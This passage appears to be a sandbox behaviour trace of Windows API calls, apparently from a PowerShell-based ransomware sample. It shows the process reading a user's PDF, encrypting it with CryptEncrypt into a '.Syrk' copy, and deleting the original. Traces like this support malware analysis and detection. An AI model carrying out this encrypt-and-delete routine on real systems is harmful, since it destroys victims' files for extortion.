nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.059] EtwEventActivityIdControl () returned 0x0 [0215.059] EtwEventActivityIdControl () returned 0x0 [0215.059] EtwEventActivityIdControl () returned 0x0 [0215.178] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0215.179] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0215.179] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.180] EtwEventActivityIdControl () returned 0x0 [0215.180] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.181] EtwEventActivityIdControl () returned 0x0 [0215.181] EtwEventActivityIdControl () returned 0x0 [0215.181] EtwEventActivityIdControl () returned 0x0 [0215.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0215.182] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0215.183] GetFileType (hFile=0x42c) returned 0x1 [0215.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0215.183] GetFileType (hFile=0x42c) returned 0x1 [0215.183] EtwEventActivityIdControl () returned 0x0 [0215.183] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.184] EtwEventActivityIdControl () returned 0x0 [0215.184] EtwEventActivityIdControl () returned 0x0 [0215.184] EtwEventActivityIdControl () returned 0x0 [0215.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0215.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", lpFilePart=0x0) returned 0x46 [0215.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0215.185] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0215.187] GetFileType (hFile=0x44c) returned 0x1 [0215.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0215.187] GetFileType (hFile=0x44c) returned 0x1 [0215.187] EtwEventActivityIdControl () returned 0x0 [0215.187] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x24ffdd8 | out: pbBuffer=0x24ffdd8) returned 1 [0215.188] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0215.188] CryptDuplicateKey (in: hKey=0x5c93f60, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c940a0) returned 1 [0215.188] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0215.188] CryptSetKeyParam (hKey=0x5c940a0, dwParam=0x4, pbData=0x2501110*=0x1, dwFlags=0x0) returned 1 [0215.188] CryptSetKeyParam (hKey=0x5c940a0, dwParam=0x1, pbData=0x25010dc, dwFlags=0x0) returned 1 [0215.189] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.189] EtwEventActivityIdControl () returned 0x0 [0215.189] EtwEventActivityIdControl () returned 0x0 [0215.189] EtwEventActivityIdControl () returned 0x0 [0215.190] EtwEventActivityIdControl () returned 0x0 [0215.190] ReadFile (in: hFile=0x42c, lpBuffer=0x2503d4c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x2503d4c*, lpNumberOfBytesRead=0x5a2e6fc*=0xa13b, lpOverlapped=0x0) returned 1 [0215.192] CryptEncrypt (in: hKey=0x5c940a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2517d64*, pdwDataLen=0x5a2e6f0*=0xa130, dwBufLen=0xa130 | out: pbData=0x2517d64*, pdwDataLen=0x5a2e6f0*=0xa130) returned 1 [0215.193] WriteFile (in: hFile=0x44c, lpBuffer=0x24ffec0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x24ffec0*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0215.194] WriteFile (in: hFile=0x44c, lpBuffer=0x2518d50*, nNumberOfBytesToWrite=0x9144, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x2518d50*, lpNumberOfBytesWritten=0x5a2e6d4*=0x9144, lpOverlapped=0x0) returned 1 [0215.195] ReadFile (in: hFile=0x42c, lpBuffer=0x2503d4c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x2503d4c*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0215.195] CryptEncrypt (in: hKey=0x5c940a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2521ea0*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x2521ea0*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0215.196] CryptEncrypt (in: hKey=0x5c940a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2521ebc*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x2521ebc*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0215.196] WriteFile (in: hFile=0x44c, lpBuffer=0x24ffec0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x24ffec0*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0215.196] CloseHandle (hObject=0x44c) returned 1 [0215.202] CloseHandle (hObject=0x42c) returned 1 [0215.206] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.206] EtwEventActivityIdControl () returned 0x0 [0215.206] EtwEventActivityIdControl () returned 0x0 [0215.206] EtwEventActivityIdControl () returned 0x0 [0215.212] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0215.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.214] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.214] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0215.215] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0215.215] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0215.215] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0215.215] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0215.215] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0215.215] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0215.215] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0215.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0215.215] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0215.215] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0215.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0215.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0215.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0215.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0215.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0215.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0215.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0215.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0215.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0215.216] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0215.217] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0215.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0215.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0215.217] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0215.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.217] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0215.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.269] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0215.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0215.269] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0215.269] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0215.270] CoTaskMemFree (pv=0x5c7e518) [0215.272] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 0x20 [0215.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0215.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf", lpFilePart=0x0) returned 0x41 [0215.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0215.272] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf"), fInfoLevelId=0x0, lpFileInformation=0x2530a14 | out: lpFileInformation=0x2530a14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24e3a0, ftCreationTime.dwHighDateTime=0x1d99239, ftLastAccessTime.dwLowDateTime=0x6a091470, ftLastAccessTime.dwHighDateTime=0x1d99817, ftLastWriteTime.dwLowDateTime=0x6a091470, ftLastWriteTime.dwHighDateTime=0x1d99817, nFileSizeHigh=0x0, nFileSizeLow=0xa13b)) returned 1 [0215.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0215.272] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf")) returned 1 [0215.275] EtwEventActivityIdControl () returned 0x0 [0215.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.276] EtwEventActivityIdControl () returned 0x0 [0215.276] EtwEventActivityIdControl () returned 0x0 [0215.276] EtwEventActivityIdControl () returned 0x0 [0215.379] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf.syrk")) returned 0x20 [0215.388] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf.syrk")) returned 0x20 [0215.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0215.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk", lpFilePart=0x0) returned 0x46 [0215.389] EtwEventActivityIdControl () returned 0x0 [0215.389] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.390] EtwEventActivityIdControl () returned 0x0 [0215.390] EtwEventActivityIdControl () returned 0x0 [0215.390] EtwEventActivityIdControl () returned 0x0 [0215.396] EtwEventActivityIdControl () returned 0x0 [0215.396] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.397] EtwEventActivityIdControl () returned 0x0 [0215.397] EtwEventActivityIdControl () returned 0x0 [0215.397] EtwEventActivityIdControl () returned 0x0 [0215.400] EtwEventActivityIdControl () returned 0x0 [0215.400] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.401] EtwEventActivityIdControl () returned 0x0 [0215.401] EtwEventActivityIdControl () returned 0x0 [0215.401] EtwEventActivityIdControl () returned 0x0 [0215.404] EtwEventActivityIdControl () returned 0x0 [0215.405] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.405] EtwEventActivityIdControl () returned 0x0 [0215.405] EtwEventActivityIdControl () returned 0x0 [0215.405] EtwEventActivityIdControl () returned 0x0 [0215.411] EtwEventActivityIdControl () returned 0x0 [0215.412] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0215.412] EtwEventActivityIdControl () returned 0x0 [0215.412] EtwEventActivityIdControl () returned 0x0 [0215.412] EtwEventActivityIdControl () returned 0x0 [0215.416] EtwEventActivityIdControl () returned 0x0 [0215.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0215.420] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\apPn7N4hT Lo.pdf.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\appn7n4ht lo.pdf.syrk"), fInfoLevelId=0x0, lpFileInformation=0x233d6ec | out: lpFileInformation=0x233d6ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc821110, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfc821110, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfc847270, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xa154)) returned 1 [0215.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0215.532] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c0 | out: lpConsoleScreenBufferInfo=0x5a2e4c0) returned 1 [0215.532] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b8 | out: lpMode=0x5a2e4b8) returned 1 [0215.532] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4ac, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4ac*=0x2) returned 1 [0215.533] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e464 | out: lpConsoleScreenBufferInfo=0x5a2e464) returned 1 [0215.534] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0215.534] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: lpMode=0x5a2e4b0) returned 1 [0215.534] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0215.535] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4c8 | out: lpConsoleScreenBufferInfo=0x5a2e4c8) returned 1 [0215.536] GetConsoleOutputCP () returned 0x1b5 [0215.536] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e238, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e238) returned 0 [0215.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e318 | out: lpConsoleScreenBufferInfo=0x5a2e318) returned 1 [0215.536] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0215.537] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2358380*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x2358380*, lpNumberOfCharsWritten=0x5a2e304*=0x3f) returned 1 [0215.537] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e310 | out: lpMode=0x5a2e310) returned 1 [0215.537] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e304, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e304*=0x2) returned 1 [0215.538] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e420 | out: lpConsoleScreenBufferInfo=0x5a2e420) returned 1 [0215.539] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e418 | out: lpMode=0x5a2e418) returned 1 [0215.539] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e40c, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e40c*=0x2) returned 1 [0215.540] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4b8 | out: lpConsoleScreenBufferInfo=0x5a2e4b8) returned 1 [0215.540] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4b0 | out: lpMode=0x5a2e4b0) returned 1 [0215.540] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4a4, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4a4*=0x2) returned 1 [0215.541] GetConsoleOutputCP () 